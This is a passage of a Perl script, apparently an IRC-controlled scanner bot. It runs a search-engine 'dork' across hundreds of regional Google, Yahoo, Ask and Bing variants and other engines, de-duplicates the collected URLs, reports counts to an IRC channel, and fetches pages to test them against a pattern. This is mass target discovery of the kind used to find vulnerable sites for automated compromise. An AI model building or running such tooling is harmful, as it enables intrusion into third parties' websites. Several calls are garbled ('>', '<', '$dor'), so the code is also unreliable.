@googleRO = googleRO($dork); push(@total,@googleRO); } if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); } if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); } if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); } if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); } if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); } if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); } if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); } if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); } if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); } if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); } if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); } if ($engine eq "CoM") { my @com = &com($dork); push(@total,@com); } if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); } if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); } if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); } if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); } if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); } if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); } if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); } if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); } if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); } if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); } if ($engine eq "InfO") { my @info = &info($dork); push(@total,@info); } if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); } if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); } if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); } if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); } if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); } if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); } if ($engine eq "NeT") { my @net = &net($dork); push(@total,@net); } if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); } if ($engine eq "OrG") { my @org = &org($dork); push(@total,@org); } if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); } if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); } if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); } if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); } if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); } if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); } if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); } if ($engine eq "US") { my @us = &us($dork); push(@total,@us); } if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); } if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); } if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); } if ($engine eq "XXX") { my @xxx = &xxx($dork); push(@total,@xxx); } if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); } if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); } if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); } if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); } if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); } if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); } if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); } if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); } if ($engine eq "JOBS") { my @jobs = &jobs($dork); push(@total,@jobs); } if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); } if ($engine eq "AERO") { my @aero = &aero($dork); push(@total,@aero); } if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); } if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); } if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); } if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); } if ($engine eq "AS") { my @as = &as($dork); push(@total,@as); } if ($engine eq "AI") { my @ai = &ai($dork); push(@total,@ai); } if ($engine eq "AG") { my @ag = &ag($dork); push(@total,@ag); } if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); } if ($engine eq "BH") { my @bh = &bh($dork); push(@total,@bh); } if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); } if ($engine eq "BZ") { my @bz = &bz($dork); push(@total,@bz); } if ($engine eq "BO") { my @bo = &bo($dork); push(@total,@bo); } if ($engine eq "BA") { my @ba = &ba($dork); push(@total,@ba); } if ($engine eq "VG") { my @vg = &vg($dork); push(@total,@vg); } if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); } if ($engine eq "BI") { my @bi = &bi($dork); push(@total,@bi); } if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); } if ($engine eq "CD") { my @cd = &cd($dork); push(@total,@cd); } if ($engine eq "CG") { my @cg = &cg($dork); push(@total,@cg); } if ($engine eq "CK") { my @ck = &ck($dork); push(@total,@ck); } if ($engine eq "CR") { my @cr = &cr($dork); push(@total,@cr); } if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); } if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); } if ($engine eq "CI") { my @ci = &ci($dork); push(@total,@ci); } if ($engine eq "DJ") { my @dj = &dj($dork); push(@total,@dj); } if ($engine eq "DM") { my @dm = &dm($dork); push(@total,@dm); } if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); } if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); } if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); } if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); } if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); } if ($engine eq "ET") { my @et = &et($dork); push(@total,@et); } if ($engine eq "FJ") { my @fj = &fj($dork); push(@total,@fj); } if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); } if ($engine eq "GM") { my @gm = &gm($dork); push(@total,@gm); } if ($engine eq "GI") { my @gi = &gi($dork); push(@total,@gi); } if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); } if ($engine eq "GL") { my @gl = &gl($dork); push(@total,@gl); } if ($engine eq "GT") { my @gt = >($dork); push(@total,@gt); } if ($engine eq "GG") { my @gg = &gg($dork); push(@total,@gg); } if ($engine eq "HT") { my @ht = &ht($dork); push(@total,@ht); } if ($engine eq "HN") { my @hn = &hn($dork); push(@total,@hn); } if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); } if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); } if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); } if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); } if ($engine eq "JE") { my @je = &je($dork); push(@total,@je); } if ($engine eq "JO") { my @jo = &jo($dork); push(@total,@jo); } if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); } if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); } if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); } if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); } if ($engine eq "LS") { my @ls = &ls($dork); push(@total,@ls); } if ($engine eq "LY") { my @ly = &ly($dork); push(@total,@ly); } if ($engine eq "LI") { my @li = &li($dork); push(@total,@li); } if ($engine eq "LT") { my @lt = <($dork); push(@total,@lt); } if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); } if ($engine eq "MW") { my @mw = &mw($dork); push(@total,@mw); } if ($engine eq "MT") { my @mt = &mt($dork); push(@total,@mt); } if ($engine eq "MU") { my @mu = &mu($dork); push(@total,@mu); } if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); } if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); } if ($engine eq "MS") { my @ms = &ms($dork); push(@total,@ms); } if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); } if ($engine eq "NA") { my @na = &na($dork); push(@total,@na); } if ($engine eq "NP") { my @np = &np($dork); push(@total,@np); } if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); } if ($engine eq "NI") { my @ni = &ni($dork); push(@total,@ni); } if ($engine eq "NF") { my @nf = &nf($dork); push(@total,@nf); } if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); } if ($engine eq "OM") { my @om = &om($dork); push(@total,@om); } if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); } if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); } if ($engine eq "PY") { my @py = &py($dork); push(@total,@py); } if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); } if ($engine eq "PN") { my @pn = &pn($dork); push(@total,@pn); } if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); } if ($engine eq "PR") { my @pr = &pr($dork); push(@total,@pr); } if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); } if ($engine eq "RW") { my @rw = &rw($dork); push(@total,@rw); } if ($engine eq "SH") { my @sh = &sh($dork); push(@total,@sh); } if ($engine eq "SM") { my @sm = &sm($dork); push(@total,@sm); } if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); } if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); } if ($engine eq "SC") { my @sc = &sc($dork); push(@total,@sc); } if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); } if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); } if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); } if ($engine eq "LK") { my @lk = &lk($dork); push(@total,@lk); } if ($engine eq "VC") { my @vc = &vc($dork); push(@total,@vc); } if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); } if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); } if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); } if ($engine eq "TJ") { my @tj = &tj($dork); push(@total,@tj); } if ($engine eq "BS") { my @bs = &bs($dork); push(@total,@bs); } if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); } if ($engine eq "TT") { my @tt = &tt($dork); push(@total,@tt); } if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); } if ($engine eq "TM") { my @tm = &tm($dork); push(@total,@tm); } if ($engine eq "VI") { my @vi = &vi($dork); push(@total,@vi); } if ($engine eq "UG") { my @ug = &ug($dork); push(@total,@ug); } if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); } if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); } if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); } if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); } if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); } if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); } if ($engine eq "af") { my @af = &af($dork); push(@total,@af); } if ($engine eq "ax") { my @ax = &ax($dork); push(@total,@ax); } if ($engine eq "al") { my @al = &al($dork); push(@total,@al); } if ($engine eq "dz") { my @dz = &dz($dork); push(@total,@dz); } if ($engine eq "ao") { my @ao = &ao($dork); push(@total,@ao); } if ($engine eq "aq") { my @aq = &aq($dork); push(@total,@aq); } if ($engine eq "am") { my @am = &am($dork); push(@total,@am); } if ($engine eq "aw") { my @aw = &aw($dork); push(@total,@aw); } if ($engine eq "ac") { my @ac = &ac($dork); push(@total,@ac); } if ($engine eq "bj") { my @bj = &bj($dork); push(@total,@bj); } if ($engine eq "bm") { my @bm = &bm($dork); push(@total,@bm); } if ($engine eq "bt") { my @bt = &bt($dork); push(@total,@bt); } if ($engine eq "bw") { my @bw = &bw($dork); push(@total,@bw); } if ($engine eq "io") { my @io = &io($dork); push(@total,@io); } if ($engine eq "bn") { my @bn = &bn($dork); push(@total,@bn); } if ($engine eq "bf") { my @bf = &bf($dork); push(@total,@bf); } if ($engine eq "kh") { my @kh = &kh($dork); push(@total,@kh); } if ($engine eq "cm") { my @cm = &cm($dork); push(@total,@cm); } if ($engine eq "cv") { my @cv = &cv($dork); push(@total,@cv); } if ($engine eq "ky") { my @ky = &ky($dork); push(@total,@ky); } if ($engine eq "cf") { my @cf = &cf($dork); push(@total,@cf); } if ($engine eq "cx") { my @cx = &cx($dork); push(@total,@cx); } if ($engine eq "cw") { my @cw = &cw($dork); push(@total,@cw); } if ($engine eq "cy") { my @cy = &cy($dork); push(@total,@cy); } if ($engine eq "fk") { my @fk = &fk($dork); push(@total,@fk); } if ($engine eq "fo") { my @fo = &fo($dork); push(@total,@fo); } if ($engine eq "gh") { my @gh = &gh($dork); push(@total,@gh); } if ($engine eq "gd") { my @gd = &gd($dork); push(@total,@gd); } if ($engine eq "gp") { my @gp = &gp($dork); push(@total,@gp); } if ($engine eq "gu") { my @gu = &gu($dork); push(@total,@gu); } if ($engine eq "gn") { my @gn = &gn($dork); push(@total,@gn); } if ($engine eq "gy") { my @gy = &gy($dork); push(@total,@gy); } if ($engine eq "hm") { my @hm = &hm($dork); push(@total,@hm); } if ($engine eq "iq") { my @iq = &iq($dork); push(@total,@iq); } if ($engine eq "jm") { my @jm = &jm($dork); push(@total,@jm); } if ($engine eq "ki") { my @ki = &ki($dork); push(@total,@ki); } if ($engine eq "kw") { my @kw = &kw($dork); push(@total,@kw); } if ($engine eq "la") { my @la = &la($dork); push(@total,@la); } if ($engine eq "lb") { my @lb = &lb($dork); push(@total,@lb); } if ($engine eq "lr") { my @lr = &lr($dork); push(@total,@lr); } if ($engine eq "mo") { my @mo = &mo($dork); push(@total,@mo); } if ($engine eq "mg") { my @mg = &mg($dork); push(@total,@mg); } if ($engine eq "mv") { my @mv = &mv($dork); push(@total,@mv); } if ($engine eq "mp") { my @mp = &mp($dork); push(@total,@mp); } if ($engine eq "mq") { my @mq = &mq($dork); push(@total,@mq); } if ($engine eq "mr") { my @mr = &mr($dork); push(@total,@mr); } if ($engine eq "yt") { my @yt = &yt($dork); push(@total,@yt); } if ($engine eq "md") { my @md = &md($dork); push(@total,@md); } if ($engine eq "mc") { my @mc = &mc($dork); push(@total,@mc); } if ($engine eq "me") { my @me = &me($dork); push(@total,@me); } if ($engine eq "mz") { my @mz = &mz($dork); push(@total,@mz); } if ($engine eq "nr") { my @nr = &nr($dor); push(@total,@nr); } if ($engine eq "nc") { my @nc = &nc($dork); push(@total,@nc); } if ($engine eq "ng") { my @ng = &ng($dork); push(@total,@ng); } if ($engine eq "nu") { my @nu = &nu($dork); push(@total,@nu); } if ($engine eq "pw") { my @pw = &pw($dork); push(@total,@pw); } if ($engine eq "ps") { my @ps = &ps($dork); push(@total,@ps); } if ($engine eq "cq") { my @cq = &cq($dork); push(@total,@cq); } if ($engine eq "re") { my @re = &re($dork); push(@total,@re); } if ($engine eq "lc") { my @lc = &lc($dork); push(@total,@lc); } if ($engine eq "pm") { my @pm = &pm($dork); push(@total,@pm); } if ($engine eq "st") { my @st = &st($dork); push(@total,@st); } if ($engine eq "rs") { my @rs = &rs($dork); push(@total,@rs); } if ($engine eq "gs") { my @gs = &gs($dork); push(@total,@gs); } if ($engine eq "sl") { my @sl = &sl($dork); push(@total,@sl); } if ($engine eq "sx") { my @sx = &sx($dork); push(@total,@sx); } if ($engine eq "sb") { my @sb = &sb($dork); push(@total,@sb); } if ($engine eq "so") { my @so = &so($dork); push(@total,@so); } if ($engine eq "su") { my @su = &su($dork); push(@total,@su); } if ($engine eq "kn") { my @kn = &kn($dork); push(@total,@kn); } if ($engine eq "sr") { my @sr = &sr($dork); push(@total,@sr); } if ($engine eq "tz") { my @tz = &tz($dork); push(@total,@tz); } if ($engine eq "tl") { my @tl = &tl($dork); push(@total,@tl); } if ($engine eq "tg") { my @tg = &tg($dork); push(@total,@tg); } if ($engine eq "tk") { my @tk = &tk($dork); push(@total,@tk); } if ($engine eq "tn") { my @tn = &tn($dork); push(@total,@tn); } if ($engine eq "tc") { my @tc = &tc($dork); push(@total,@tc); } if ($engine eq "vu") { my @vu = &vu($dork); push(@total,@vu); } if ($engine eq "wf") { my @wf = &wf($dork); push(@total,@wf); } if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); } if ($engine eq "ye") { my @ye = &ye($dork); push(@total,@ye); } if ($engine eq "zw") { my @zw = &zw($dork); push(@total,@zw); } if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); } if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); } if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); } if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); } if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); } if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); } if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); } if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); } if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); } if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); } if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); } if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); } if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); } if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); } if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); } if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); } if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); } if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); } if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); } if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); } if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); } if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); } if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); } if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); } if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); } if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); } if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); } if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); } if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); } if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); } if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); } if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); } if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); } if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); } if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); } if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); } if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); } if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); } if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); } if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); } if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); } if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); } if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); } if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); } if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); } if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); } if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); } if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); } if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); } if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); } if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); } if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); } if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); } if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); } if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); } if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); } if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); } if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); } if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); } if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); } if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); } if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); } if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); } if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); } if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); } if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); } if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); } if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); } if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); } if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); } if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); } if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); } if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); } if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); } if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); } if ($engine eq "BingAE") { my @bingAE = bingAE($dork); push(@total,@bingAE); } if ($engine eq "BingAT") { my @bingAT = bingAT($dork); push(@total,@bingAT); } if ($engine eq "BingCZ") { my @bingCZ = bingCZ($dork); push(@total,@bingCZ); } if ($engine eq "BingEU") { my @bingEU = bingEU($dork); push(@total,@bingEU); } if ($engine eq "BingHU") { my @bingHU = bingHU($dork); push(@total,@bingHU); } if ($engine eq "BingID") { my @bingID = bingID($dork); push(@total,@bingID); } if ($engine eq "BingIL") { my @bingIL = bingIL($dork); push(@total,@bingIL); } if ($engine eq "BingIN") { my @bingIN = bingIN($dork); push(@total,@bingIN); } if ($engine eq "BingINFO") { my @bingINFO = bingINFO($dork); push(@total,@bingINFO); } if ($engine eq "BingIR") { my @bingIR = bingIR($dork); push(@total,@bingIR); } if ($engine eq "BingMY") { my @bingMY = bingMY($dork); push(@total,@bingMY); } if ($engine eq "BingNET") { my @bingNET = bingNET($dork); push(@total,@bingNET); } if ($engine eq "BingORG") { my @bingORG = bingORG($dork); push(@total,@bingORG); } if ($engine eq "BingPH") { my @bingPH = bingPH($dork); push(@total,@bingPH); } if ($engine eq "BingPL") { my @bingPL = bingPL($dork); push(@total,@bingPL); } if ($engine eq "BingRO") { my @bingRO = bingRO($dork); push(@total,@bingRO); } if ($engine eq "BingTH") { my @bingTH = bingTH($dork); push(@total,@bingTH); } if ($engine eq "BingUA") { my @bingUA = bingUA($dork); push(@total,@bingUA); } if ($engine eq "BingUS") { my @bingUS = bingUS($dork); push(@total,@bingUS); } if ($engine eq "BingSI") { my @bingSI = bingSI($dork); push(@total,@bingSI); } if ($engine eq "BingBIZ") { my @bingBIZ = bingBIZ($dork); push(@total,@bingBIZ); } if ($engine eq "BingXXX") { my @bingXXX = bingXXX($dork); push(@total,@bingXXX); } if ($engine eq "BingTV") { my @bingTV = bingTV($dork); push(@total,@bingTV); } if ($engine eq "BingCC") { my @bingCC = bingCC($dork); push(@total,@bingCC); } if ($engine eq "BingMIL") { my @bingMIL = bingMIL($dork); push(@total,@bingMIL); } if ($engine eq "BingASIA") { my @bingASIA = bingASIA($dork); push(@total,@bingASIA); } if ($engine eq "BingNAME") { my @bingNAME = bingNAME($dork); push(@total,@bingNAME); } if ($engine eq "BingPRO") { my @bingPRO = bingPRO($dork); push(@total,@bingPRO); } if ($engine eq "BingTRAVEL") { my @bingTRAVEL = bingTRAVEL($dork); push(@total,@bingTRAVEL); } if ($engine eq "BingJOBS") { my @bingJOBS = bingJOBS($dork); push(@total,@bingJOBS); } if ($engine eq "BingMOBI") { my @bingMOBI = bingMOBI($dork); push(@total,@bingMOBI); } if ($engine eq "BingAERO") { my @bingAERO = bingAERO($dork); push(@total,@bingAERO); } if ($engine eq "BingCAT") { my @bingCAT = bingCAT($dork); push(@total,@bingCAT); } if ($engine eq "BingCOOP") { my @bingCOOP = bingCOOP($dork); push(@total,@bingCOOP); } if ($engine eq "BingEDU") { my @bingEDU = bingEDU($dork); push(@total,@bingEDU); } if ($engine eq "BingGOV") { my @bingGOV = bingGOV($dork); push(@total,@bingGOV); } if ($engine eq "BingBO") { my @bingBO = bingBO($dork); push(@total,@bingBO); } if ($engine eq "BingBA") { my @bingBA = bingBA($dork); push(@total,@bingBA); } if ($engine eq "BingBW") { my @bingBW = bingBW($dork); push(@total,@bingBW); } if ($engine eq "BingBG") { my @bingBG = bingBG($dork); push(@total,@bingBG); } if ($engine eq "BingCO") { my @bingCO = bingCO($dork); push(@total,@bingCO); } if ($engine eq "BingCR") { my @bingCR = bingCR($dork); push(@total,@bingCR); } if ($engine eq "BingHR") { my @bingHR = bingHR($dork); push(@total,@bingHR); } if ($engine eq "BingDO") { my @bingDO = bingDO($dork); push(@total,@bingDO); } if ($engine eq "BingEC") { my @bingEC = bingEC($dork); push(@total,@bingEC); } if ($engine eq "BingGR") { my @bingGR = bingGR($dork); push(@total,@bingGR); } if ($engine eq "BingHN") { my @bingHN = bingHN($dork); push(@total,@bingHN); } if ($engine eq "BingHK") { my @bingHK = bingHK($dork); push(@total,@bingHK); } if ($engine eq "BingIS") { my @bingIS = bingIS($dork); push(@total,@bingIS); } if ($engine eq "BingIE") { my @bingIE = bingIE($dork); push(@total,@bingIE); } if ($engine eq "BingKZ") { my @bingKZ = bingKZ($dork); push(@total,@bingKZ); } if ($engine eq "BingKE") { my @bingKE = bingKE($dork); push(@total,@bingKE); } if ($engine eq "BingKG") { my @bingKG = bingKG($dork); push(@total,@bingKG); } if ($engine eq "BingLV") { my @bingLV = bingLV($dork); push(@total,@bingLV); } if ($engine eq "BingLY") { my @bingLY = bingLY($dork); push(@total,@bingLY); } if ($engine eq "BingLT") { my @bingLT = bingLT($dork); push(@total,@bingLT); } if ($engine eq "BingLU") { my @bingLU = bingLU($dork); push(@total,@bingLU); } if ($engine eq "BingMA") { my @bingMA = bingMA($dork); push(@total,@bingMA); } if ($engine eq "BingNP") { my @bingNP = bingNP($dork); push(@total,@bingNP); } if ($engine eq "BingPK") { my @bingPK = bingPK($dork); push(@total,@bingPK); } if ($engine eq "BingPR") { my @bingPR = bingPR($dork); push(@total,@bingPR); } if ($engine eq "BingSG") { my @bingSG = bingSG($dork); push(@total,@bingSG); } if ($engine eq "BingSK") { my @bingSK = bingSK($dork); push(@total,@bingSK); } if ($engine eq "BingZA") { my @bingZA = bingZA($dork); push(@total,@bingZA); } if ($engine eq "BingLK") { my @bingLK = bingLK($dork); push(@total,@bingLK); } if ($engine eq "BingTW") { my @bingTW = bingTW($dork); push(@total,@bingTW); } if ($engine eq "BingTR") { my @bingTR = bingTR($dork); push(@total,@bingTR); } if ($engine eq "BingVE") { my @bingVE = bingVE($dork); push(@total,@bingVE); } if ($engine eq "BingVN") { my @bingVN = bingVN($dork); push(@total,@bingVN); } if ($engine eq "BingMUSEUM") { my @bingMUSEUM = bingMUSEUM($dork); push(@total,@bingMUSEUM); } if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); } if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); } if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); } if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); } if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); } if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); } if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); } if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); } if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); } @clean = &clean(@total); if (@clean > 0){ #if (scalar(@total) != 0) { &msg("$channel","![3X]![ 9".scalar(@total)." 4�� 9".scalar(@clean)." ]"); } return @clean; } ################################################################################## sub isFound() { my $status = 0; my $link = $_[0]; my $reqexp = $_[1]; my $res = &get_content($link); if ($res =~ /$reqexp/) { $status = 1 } return $status; } sub get_content() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout($timot); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } sub 